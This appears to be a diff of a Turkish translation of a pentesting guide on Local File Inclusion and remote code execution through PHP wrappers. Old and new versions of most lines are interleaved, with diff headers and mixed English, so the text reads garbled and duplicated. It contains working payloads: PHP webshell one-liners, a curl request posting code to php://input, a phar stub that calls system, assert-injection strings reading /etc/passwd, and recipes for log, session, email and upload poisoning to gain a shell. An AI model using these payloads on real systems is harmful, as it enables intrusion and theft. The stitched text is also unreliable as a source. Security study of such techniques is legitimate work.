Görünüşe göre Java'da bir Path Traversal varsa ve bir dosya yerine **bir dizin isterseniz**, dizinin **listesi döndürülür**. Bu diğer dillerde olmayacaktır (afaik).
Görünüşe göre Java'da bir Path Traversal varsa ve bir dosya yerine **bir dizin isterseniz**, dizinin **içeriği listelenerek döndürülür**. Bu diğer dillerde olmayacaktır (bildiğim kadarıyla).
## Top 25 parameters
## En Çok Etkilenebilecek 25 Parametre
İşte local file inclusion (LFI) zafiyetlerine açık olabilecek Top 25 parametrenin listesi (kaynak: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
İşte local file inclusion (LFI) zafiyetine açık olabilecek en çok etkilenen 25 parametrenin listesi (kaynak: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,31 +211,31 @@ Görünüşe göre Java'da bir Path Traversal varsa ve bir dosya yerine **bir di
?mod={payload}
?conf={payload}
```
## LFI / RFI PHP wrapper'ları ve protokoller kullanımı
## LFI / RFI using PHP wrappers & protocols
### php://filter
PHP filtreleri, veriler okunup yazılmadan önce veri üzerinde temel **değişiklik işlemleri** gerçekleştirmeye izin verir. Filtrelerin 5 kategorisi vardır:
PHP filtreleri, veri okunmadan veya yazılmadan önce veriler üzerinde temel **değişiklik işlemleri** gerçekleştirmeye izin verir. Filtrelerin 5 kategorisi vardır:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Verideki tagleri kaldırır (everything between "<" and ">" chars)
- Note that this filter has disappear from the modern versions of PHP
- `string.strip_tags`: Verideki tagleri kaldırır ( "<" ile ">" arasındaki her şey)
- Bu filtrenin modern PHP sürümlerinde artık bulunmadığını unutmayın
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür(`convert.iconv.<input_enc>.<output_enc>`). Desteklenen tüm kodlamaların **listesini** almak için konsolda şunu çalıştırın: `iconv -l`
- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv.<input_enc>.<output_enc>`). Desteklenen tüm kodlamaların **listesini** almak için konsolda `iconv -l` çalıştırın
> [!WARNING]
> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin üretebilirsiniz**, bu da rastgele metin yazmak veya include gibi bir fonksiyonun rastgele metin işlemesine imkan tanıyabilir. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **istediğiniz metni üretebilirsiniz**, bu da rastgele metin yazmak veya include gibi bir fonksiyonun rastgele metni işlemesini sağlamak için faydalı olabilir. Daha fazla bilgi için [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) adresine bakın.
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: İçeriği sıkıştırır (useful if exfiltrating a lot of info)
- `zlib.inflate`: Veriyi açar
- `zlib.deflate`: İçeriği sıkıştırır (çok fazla bilgi exfiltrate ediliyorsa kullanışlı olabilir)
- `zlib.inflate`: Veriyi dekomprese eder
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Kullanımdan kaldırıldı
- `mdecrypt.*` : Kullanımdan kaldırıldı
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> "php://filter" kısmı büyük/küçük harf duyarsızdır
> php://filter kısmı büyük/küçük harfe duyarsızdır
### php filters'ı oracle olarak kullanarak herhangi dosyaları okuma
### Rastgele dosyaları okumak için php filters'ı oracle olarak kullanma
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) çıktının sunucudan geri verilmediği durumlarda yerel bir dosyayı okumak için bir teknik önerir. Bu teknik, php filters kullanılarak yapılan **boolean exfiltration of the file (char by char) using php filters** as oracle prensibine dayanır. Bunun nedeni, php filters'ın bir metni PHP'nin bir istisna fırlatacak kadar büyük hale getirebilmek için kullanılabilmesidir.
[**Bu yazıda**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) sunulan teknik, sunucunun çıktıyı geri vermediği durumlarda yerel bir dosyayı okumaya olanak verir. Bu teknik, **php filters kullanılarak oracle olarak yapılan dosyanın char by char boolean exfiltration'ına** dayanır. Bunun nedeni php filters'ın bir metni php'nin bir hata fırlatacağı kadar büyütebilmesidir.
Orijinal yazıda tekniğin detaylııklaması bulunmakla birlikte, işte kısa bir özet:
Orijinal yazıda tekniğin detaylııklaması bulunuyor, burada kısa bir özet:
- Codec **`UCS-4LE`** kullanılarak metnin baştaki karakteri öne alınır ve string boyutunun üssel olarak artması sağlanır.
- Bu, ilk harf doğru tahmin edildiğinde php'nin bir **error** tetikleyeceği kadar büyük bir **text so big when the initial letter is guessed correctly** üretmek için kullanılacaktır.
- **dechunk** filtresi **remove everything if the first char is not an hexadecimal** davranışı gösterir, böylece ilk karakterin hex olup olmadığını anlayabiliriz.
- Bu, öncekiyle (ve tahmin edilen harfe bağlı diğer filtrelerle) birleştirildiğinde, metnin başındaki bir harfi, onu bir onaltılık karakter olmaktan çıkaracak kadar dönüşüm uyguladığımızda fark ederek tahmin etmemizi sağlar. Çünkü eğer hex ise dechunk onu silmez ve başlangıç bombası php hatası üretir.
- Codec **convert.iconv.UNICODE.CP930** her harfi bir sonrakine dönüştürür (yani bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g olur ve harf artık bir onaltılık karakter olmaz, dolayısıyla dechunk onu silmez ve başlangıç bombasıyla çoğaldığı için php hatası tetiklenir.
- Başta **rot13** gibi dönüşümler kullanılarak n, o, p, q, r gibi diğer karakterleri leak etmek mümkündür (ve diğer codec'ler diğer harfleri hex aralığına taşımak için kullanılabilir).
- Başlangıç karakteri bir sayıysa, sayıyı leak etmek için önce base64 encode edip ilk iki harfi leak etmek gerekir.
- Son sorun, **how to leak more than the initial letter** görmektir. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi order memory filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin diğer harflerini ilk pozisyona getirmek mümkündür.
- Ve daha fazla veri elde edebilmek için fikir, **generate 2 bytes of junk data at the beginning** ile başta 2 byte çöp veri oluşturmak (convert.iconv.UTF16.UTF16 ile), sonra **UCS-4LE** uygulayarak bunun **pivot with the next 2 bytes** yapmasını sağlamak ve **d**elete the data until the junk data (bu, ilk metindeki ilk 2 bytı kaldıracaktır). Bu işlemi leak etmek istediğiniz biti elde edene kadar tekrarlayın.
- Kodlayıcı **`UCS-4LE`**'yi kullanarak metnin başındaki karakteri öne çıkarın ve string boyutunun üssel olarak artmasını sağlayın.
- Bu, ilk harf doğru tahmin edildiğinde php'nin bir **error** tetikleyeceği kadar büyük bir **metin** üretmek için kullanılacak.
- **dechunk** filtresi, **ilk karakter hexadecimal değilse her şeyi kaldırır**, bu yüzden ilk karakterin hex olup olmadığını anlayabiliriz.
- Bu, öncekiyle (ve tahmin edilen harfe bağlı diğer filtrelerle) birleştirildiğinde, metnin başlangıcındaki bir harfi, onu hexadecimal olmayan hale getirmek için yeterli dönüşümü ne zaman yaptığımızı görerek tahmin etmemizi sağlayacak. Çünkü eğer hex ise, dechunk onu silmez ve başlangıç bombası php error'a neden olur.
- Kodlayıcı **convert.iconv.UNICODE.CP930**, her harfi kendisinden sonraki harfe dönüştürür (yani bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g olur ve harf artık hexadecimal karakter olmaz, dolayısıyla dechunk onu silmez ve php error başlatılır çünkü başlangıç bombasıyla çarpılır.
- Başlangıçta **rot13** gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterleri leak etmek mümkündür (ve diğer codec'ler de diğer harfleri hex aralığına taşımak için kullanılabilir).
- İlk karakter bir sayı olduğunda, sayıyı elde edebilmek için önce base64 ile encode etmek ve sayıyı leak etmek için ilk 2 karakteri leak etmek gerekir.
- Son problem **ilk harften daha fazlasını nasıl leak edeceğimizi** görmek. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi order memory filters kullanarak karakterlerin sırasını değiştirmek ve metnin ilk pozisyonuna başka harfleri getirmek mümkündür.
- Ve daha fazla veri elde edebilmek için fikir, **convert.iconv.UTF16.UTF16** ile başta 2 byte junk data oluşturmak, **UCS-4LE** uygulayarak bunları sonraki 2 byte ile **pivot** yapmak ve junk data'ya kadar veriyi silmektir (bu, başlangıçtaki metnin ilk 2 byte'ını kaldırır). İstediğiniz biti leak edene kadar bunu tekrarlayın.
Yazıda bu işlemi otomatikleştiren bir araç da leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Yazıda bu işlemi otomatikleştiren bir araç da leak edildi: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Bu wrapper, process'un open olan file descriptors'larına erişmeyi sağlar. Açık dosyaların içeriğini exfiltrate etmek için potansiyel olarak yararlıdır:
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Ayrıca **php://stdin, php://stdout and php://stderr** kullanarak **file descriptors 0, 1 and 2**'ye sırasıyla erişebilirsiniz (bir saldırıda bunun nasıl işe yarayabileceğini bilmiyorum)
Ayrıca **php://stdin, php://stdout and php://stderr** sırasıyla **dosya tanımlayıcıları 0, 1 ve 2**'ye erişmek için kullanılabilir (bir saldırıda bunun nasıl yararlı olabileceğinden emin değilim)
### zip:// and rar://
İçinde PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve ona erişin.\
rar protokolünü kötüye kullanabilmek için **özellikle etkinleştirilmesi gerekir**.
İçinde bir PHPShell bulunan Zip veya Rar dosyası yükleyin ve ona erişin.\
rar protocol'u kötüye kullanabilmek için bunun **özellikle etkinleştirilmesi gerekir**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -339,13 +339,13 @@ http://example.com/index.php?page=expect://ls
```
### input://
Payload'unuzu POST parametrelerinde belirtin:
POST parametrelerinde payload'ınızı belirtin:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Bir `.phar` dosyası, bir web uygulaması dosyaları yüklemek için `include` gibi fonksiyonlardan yararlandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıda verilen PHP kodu parçası bir `.phar` dosyasının oluşturulmasını göstermektedir:
A `.phar` dosyası, bir web uygulaması dosya yüklemek için `include` gibi fonksiyonları kullandığında PHP kodu çalıştırmak amacıyla kullanılabilir. Aşağıdaki PHP kodu örneği bir `.phar` dosyasının oluşturulmasını göstermektedir:
```php
<?php
$phar = new Phar('test.phar');
@ -354,13 +354,13 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
`.phar` dosyasını derlemek için, aşağıdaki komut çalıştırılmalıdır:
`.phar` dosyasını derlemek için aşağıdaki komut çalıştırılmalıdır:
```bash
php --define phar.readonly=0 create_path.php
```
Çalıştırıldığında `test.phar` adlı bir dosya oluşturulur; bu dosya Local File Inclusion (LFI) ıklarını istismar etmek için kullanılabilir.
Çalıştırıldığında `test.phar` adlı bir dosya oluşturulur; bu dosya Local File Inclusion (LFI) zafiyetlerini sömürmek için kullanılabilir.
LFI yalnızca içindeki PHP kodunu çalıştırmadan dosya okuma yapıyorsa — `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` veya `filesize()` gibi fonksiyonlar aracılığıyla — deserialization açığının istismarı denenebilir. Bu zafiyet, `phar` protokolünü kullanarak dosya okunmasıyla ilişkilidir.
Eğer LFI içinde PHP kodunu çalıştırmadan yalnızca dosya okuma yapılıyorsa — örneğin `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` veya `filesize()` gibi fonksiyonlarla — deserialization zafiyetinin sömürülmeye çalışılması mümkün olabilir. Bu zafiyet, `phar` protokolü kullanılarak dosya okunmasıyla ilişkilidir.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
@ -373,32 +373,32 @@ phar-deserialization.md
### CVE-2024-2961
PHP'de php filter'larını destekleyen herhangi bir dosya okuması istismar edilerek RCE elde etmek mümkün oldu. Ayrıntılııklama [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Çok kısa özet: PHP heap'inde bir **3 byte overflow** kullanılarak belirli boyuttaki serbest chunk zinciri değiştirildi ve böylece herhangi bir adrese istediğiniz her şeyi yazmak mümkün oldu; bu amaçla `system`'i çağıran bir hook eklendi.\
Daha fazla php filter'ı suistimal ederek belirli boyutlarda chunk allocate etmek mümkün oldu.
PHP'de php filters'ı destekleyen herhangi bir rastgele dosya okuması, RCE elde etmek için suistimal edilebiliyordu. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Çok kısa özet: PHP heap'inde bir **3 byte overflow** suistimal edilerek belirli bir boyuttaki serbest chunk zinciri **alter the chain of free chunks** değiştirilip herhangi bir adrese **write anything in any address** yazılabilmesi sağlandı; bu yüzden **`system`** çağıracak bir hook eklendi.\
Daha fazla php filters suistimaliyle belirli boyutlarda chunk'lar alloc etmek mümkündü.
### Daha fazla protokol
### More protocols
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (file inclusion attack açısından bunun nasıl yararlı olabileceğinden emin değilim)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (file inclusion saldırısında bunun nasıl işe yarayabileceğinden emin değilim)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Yerel dosya sistemine erişim
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL'lerine erişim
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL'lerine erişim
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Sıkıştırma akışları
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desenle eşleşen yol adlarını bulma (yazdırılabilir hiçbir şey döndürmüyor, bu yüzden burada pek kullanışlı değil)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desene uyan yol adlarını bulma (Hiç yazdırılabilir veri döndürmediği için burada pek kullanışlı değil)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (keyfi dosyaları okumak için kullanışlı değil)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (rastgele dosyaları okumak için kullanışlı değil)
## PHP'nin 'assert' ile LFI
## LFI via PHP's 'assert'
PHP'de 'assert' fonksiyonuyla çalışırken Local File Inclusion (LFI) riskleri özellikle yüksektir; çünkü 'assert' string içindeki kodu çalıştırabilir. Bu, özellikle '..' gibi directory traversal karakterleri içeren girdiler kontrol edilip düzgün temizlenmiyorsa problem yaratır.
PHP'de 'assert' fonksiyonuyla ilgili olarak Local File Inclusion (LFI) riskleri özellikle yüksektir; çünkü 'assert' dizeler içindeki kodu çalıştırabilir. Bu, ".." gibi dizin geçiş karakterleri içeren girdiler kontrol edilip düzgün temizlenmiyorsa özellikle sorunludur.
For example, PHP code might be designed to prevent directory traversal like so:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Bu, traversal'ı durdurmayı amaçlasa da istemeden code injection için bir vektör oluşturuyor. Dosya içeriğini okumak için bunu exploit etmek isteyen bir saldırgan şunu kullanabilir:
Bu, traversal'ı durdurmayı amaçlasa da, istemeden code injection için bir vektör oluşturur. Dosya içeriklerini okumak için bunu istismar etmek amacıyla bir saldırgan şunu kullanabilir:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -406,41 +406,41 @@ Benzer şekilde, rastgele sistem komutlarını çalıştırmak için şu kullan
```plaintext
' and die(system("id")) or '
```
Bu payload'ları **URL-encode** etmek önemlidir.
It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Bu teknik, bir **PHP fonksiyonunun** erişeceği **dosya yolunu** siz **kontrol ettiğiniz** ama dosya içeriğini göremeyeceğiniz durumlarda geçerlidir (ör. basit bir **`file()`** çağrısı gibi) ancak içerik gösterilmez.
> Bu teknik, bir **dosya yolunu** sizin **kontrol ettiğiniz**, bir **PHP fonksiyonunun** bir dosyaya **erişecek** olduğu fakat dosyanın içeriğini görmeyeceğiniz durumlarda (ör. basit bir çağrı olan **`file()`**) ilgilidir; içerik gösterilmez.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
Özetle, teknik, dosya içeriğini o kadar **büyük** yapmak için **"UCS-4LE" encoding** kullanır ki dosyayı açan **PHP fonksiyonu** bir **hata** tetikler.
Özetle, teknik bir dosyanın içeriğini o kadar "büyük" hale getirmek için **"UCS-4LE" encoding** kullanır ki, dosyayı açan **PHP fonksiyonu** bir **hata** tetikler.
Daha sonra, ilk karakteri leak etmek için **`dechunk`** filtresi, **base64** veya **rot13** gibi diğer filtrelerle birlikte kullanılır ve nihayetinde **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** filtreleri başka karakterleri başa yerleştirmek ve onları leak etmek için kullanılır.
Daha sonra ilk karakteri leak etmek için filtre **`dechunk`** base64 veya rot13 gibi diğerleriyle birlikte kullanılır ve son olarak filtreler **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** diğer karakterleri başa yerleştirmek ve onları leak etmek için kullanılır.
Zayıf olabilecek fonksiyonlar: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Potansiyel olarak zafiyetli fonksiyonlar: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Teknik detaylar için belirtilen gönderiye bakın!
Teknik detaylar için belirtilen yazıya bakın!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
Sunucu tarafı kodu, yüklenen/işlenen dosyaların hedef yolunu kullanıcı kontrollü veri (ör. bir filename veya URL) kullanarak canonicalise ve validate etmeden oluşturduğunda, `..` segmentleri ve absolute path'ler hedeflenen dizinden kaçabilir ve arbitrary file write'e neden olabilir. Payload'ı web-exposed bir dizine koyabiliyorsanız genellikle bir webshell bırakarak yetkisiz RCE elde edersiniz.
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Tipik istismar akışı:
- Bir endpoint veya background worker içinde path/filename kabul eden ve içeriği diske yazan bir write primitive tespit edin (ör. message-driven ingestion, XML/JSON command handlers, ZIP extractors, vb.).
- Web-exposed dizinleri belirleyin. Yaygın örnekler:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Hedef depolama dizininden webroot'a çıkacak şekilde bir traversal path oluşturun ve webshell içeriğinizi ekleyin.
- Bıraktığınız payload'a tarayıcıyla gidin ve komutları çalıştırın.
Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Notlar:
- Yazmayı gerçekleştiren vulnerable servis non-HTTP porta dinliyor olabilir (ör. TCP 4004'te bir JMF XML listener). Ana web portalı (farklı port) daha sonra payload'ınızı serve edecektir.
- Java stack'lerinde bu dosya yazımları genellikle basit `File`/`Paths` concatenation ile uygulanır. Kanonikleştirme/allow-listing eksikliği temel hata nedenidir.
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -467,24 +467,24 @@ in.transferTo(out);
</JMF>
```
Hardening that defeats this class of bugs:
- Kanonik bir yola çözümleyin ve bunun izin verilen (allow-listed) bir temel dizinin alt dizini olduğunu zorunlu kılın.
- `..`, mutlak kök yolları (absolute roots) veya sürücü harfleri (drive letters) içeren herhangi bir yolu reddedin; bunun yerine oluşturulmuş dosya adlarını tercih edin.
- Yazma işlemini düşük ayrıcalıklı bir hesapla çalıştırın ve yazma dizinlerini servis edilen kök dizinlerden ayırın.
- Kanonik bir yola çözümleyin ve bunun allow-listed base directory'nin bir alt öğesi olduğunu zorunlu kılın.
- `..`, absolute roots veya drive letters içeren herhangi bir yolu reddedin; tercih edilen yöntem generated filenames kullanmaktır.
- Writer'ı düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini served roots'tan ayırın.
## Remote File Inclusion
Explained previously, [**follow this link**](#remote-file-inclusion).
Önceden açıklandı, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
Eğer Apache veya Nginx sunucusu include fonksiyonu içerisinde **vulnerable to LFI** ise **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** dosyalarına erişmeyi deneyebilirsiniz; **user agent** içine veya bir **GET parameter** içine **`<?php system($_GET['c']); ?>`** gibi bir php shell koyup o dosyayı include edebilirsiniz
> [!WARNING]
> Dikkat: **eğer shell için çift tırnak kullanırsanız** tek tırnak yerine, çift tırnaklar "_**quote;**_" stringi için değiştirilecektir, orada **PHP hata fırlatacaktır** ve **başka hiçbir şey yürütülmeyecektir**.
> Dikkat: shell için **simple quotes** yerine **double quotes** kullanırsanız, çift tırnaklar "_**quote;**_" stringine dönüştürülecek, **PHP orada bir hata fırlatacaktır** ve **başka hiçbir şey çalıştırılmayacaktır**.
>
> Ayrıca, payload'u **doğru yazdığınızdan** emin olun; aksi halde PHP, log dosyasını yüklemeye çalıştıkça hata verecek ve ikinci bir fırsatınız olmayacaktır.
> Ayrıca, payload'u **doğru yazdığınızdan** emin olun; aksi takdirde PHP log dosyasını her yüklemeye çalıştığında hata verecek ve ikinci bir şansınız olmayacaktır.
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
Bu diğer loglarda da yapılabilir ama **dikkatli olun,** log içindeki kod URL encoded olabilir ve bu Shell'i bozabilir. Header **authorisation "basic"** Base64 olarak "user:password" içerir ve loglarda decode edilir. PHPShell bu header içine yerleştirilebilir.\
Other possible log paths:
```python
/var/log/apache2/access.log
@ -497,81 +497,80 @@ Other possible log paths:
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
Fuzzing kelime listesi: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### E-posta ile
**Bir e-posta gönderin** yerel bir hesaba (user@localhost) PHP payload'unuzu içerecek şekilde `<?php echo system($_REQUEST["cmd"]); ?>` ve kullanıcının mailini aşağıdaki gibi bir yol ile include etmeyi deneyin: **`/var/mail/<USERNAME>`** veya **`/var/spool/mail/<USERNAME>`**
**Bir e-posta gönderin** internal bir hesaba (user@localhost) PHP payload'unuzu içerecek şekilde, örneğin `<?php echo system($_REQUEST["cmd"]); ?>` ve kullanıcıya ait maili **`/var/mail/<USERNAME>`** veya **`/var/spool/mail/<USERNAME>`** gibi bir yol ile dahil etmeyi deneyin
### /proc/*/fd/* üzerinden
1. Çok sayıda shells yükleyin (örneğin: 100)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) adresini include edin; burada $PID süreç PID'si (brute forced ile bulunabilir) ve $FD file descriptor'dır (o da brute forced ile bulunabilir)
1. Çok sayıda shell yükleyin (örneğin: 100)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) adresini include edin, burada $PID = işlemin PID'i (brute force ile bulunabilir) ve $FD dosya tanımlayıcısıdır (o da brute force ile bulunabilir)
### /proc/self/environ üzerinden
Bir log dosyası gibi, payload'u User-Agent içinde gönderin; bu /proc/self/environ dosyasında yansıtılacaktır.
Bir log dosyası gibi, payload'u User-Agent içine gönderin; /proc/self/environ dosyasının içinde yansıtılacaktır
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Yükleme ile
### Yükleme yoluyla
Bir dosya yükleyebiliyorsanız, içine shell payload'unu enjekte edin (ör. : `<?php system($_GET['c']); ?>` ).
Bir dosya yükleyebiliyorsanız, içine shell payload enjekte edin (örneğin: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Dosyanın okunabilirliğini korumak için resimlerin/doc/pdf'lerin metadata'sına enjekte etmek en iyisidir
### ZIP dosyası yüklemesi ile
### Zip file yüklemesi ile
Sıkıştırılmış bir PHP shell içeren bir ZIP dosyası yükleyin ve erişin:
Sıkıştırılmış, içinde PHP shell bulunan bir ZIP dosyası yükleyin ve erişin:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### PHP oturumları üzerinden
### PHP sessions üzerinden
Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
PHP'de bu oturumlar _/var/lib/php5/sess\\_\[PHPSESSID]\_ dosyalarına kaydedilir
PHP'de bu oturumlar _/var/lib/php5/sess\\_\[PHPSESSID]\_ dosyalarında saklanır
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Cookie'yi şu değere ayarlayın `<?php system('cat /etc/passwd');?>`
Çerezi `<?php system('cat /etc/passwd');?>` olarak ayarla
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
PHP session file'ını include etmek için LFI'yi kullanın.
PHP oturum dosyasını dahil etmek için LFI'yi kullanın.
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### ssh üzerinden
### ssh ile
Eğer ssh aktifse hangi kullanıcının kullanıldığını kontrol et (/proc/self/status & /etc/passwd) ve **\<HOME>/.ssh/id_rsa**'ye erişmeyi dene.
Eğer ssh aktifse, hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve **\<HOME>/.ssh/id_rsa** dosyasına erişmeyi deneyin.
### **Üzerinden** **vsftpd** _**günlükleri**_
### **Üzerinden** **vsftpd** _**logları**_
FTP sunucusu vsftpd için günlükler _**/var/log/vsftpd.log**_ konumundadır. Eğer bir Local File Inclusion (LFI) zafiyeti varsa ve erişilebilir bir vsftpd sunucusu mevcutsa, aşağıdaki adımlar düşünülebilir:
FTP sunucusu vsftpd'nin logları _**/var/log/vsftpd.log**_ konumundadır. Bir Local File Inclusion (LFI) zafiyeti varsa ve açık bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar değerlendirilebilir:
1. Giriş işlemi sırasında username alanına bir PHP payload enjekte et.
2. Enjeksiyon sonrası, LFI'yi kullanarak sunucu günlüklerini _**/var/log/vsftpd.log**_ dosyasından çek.
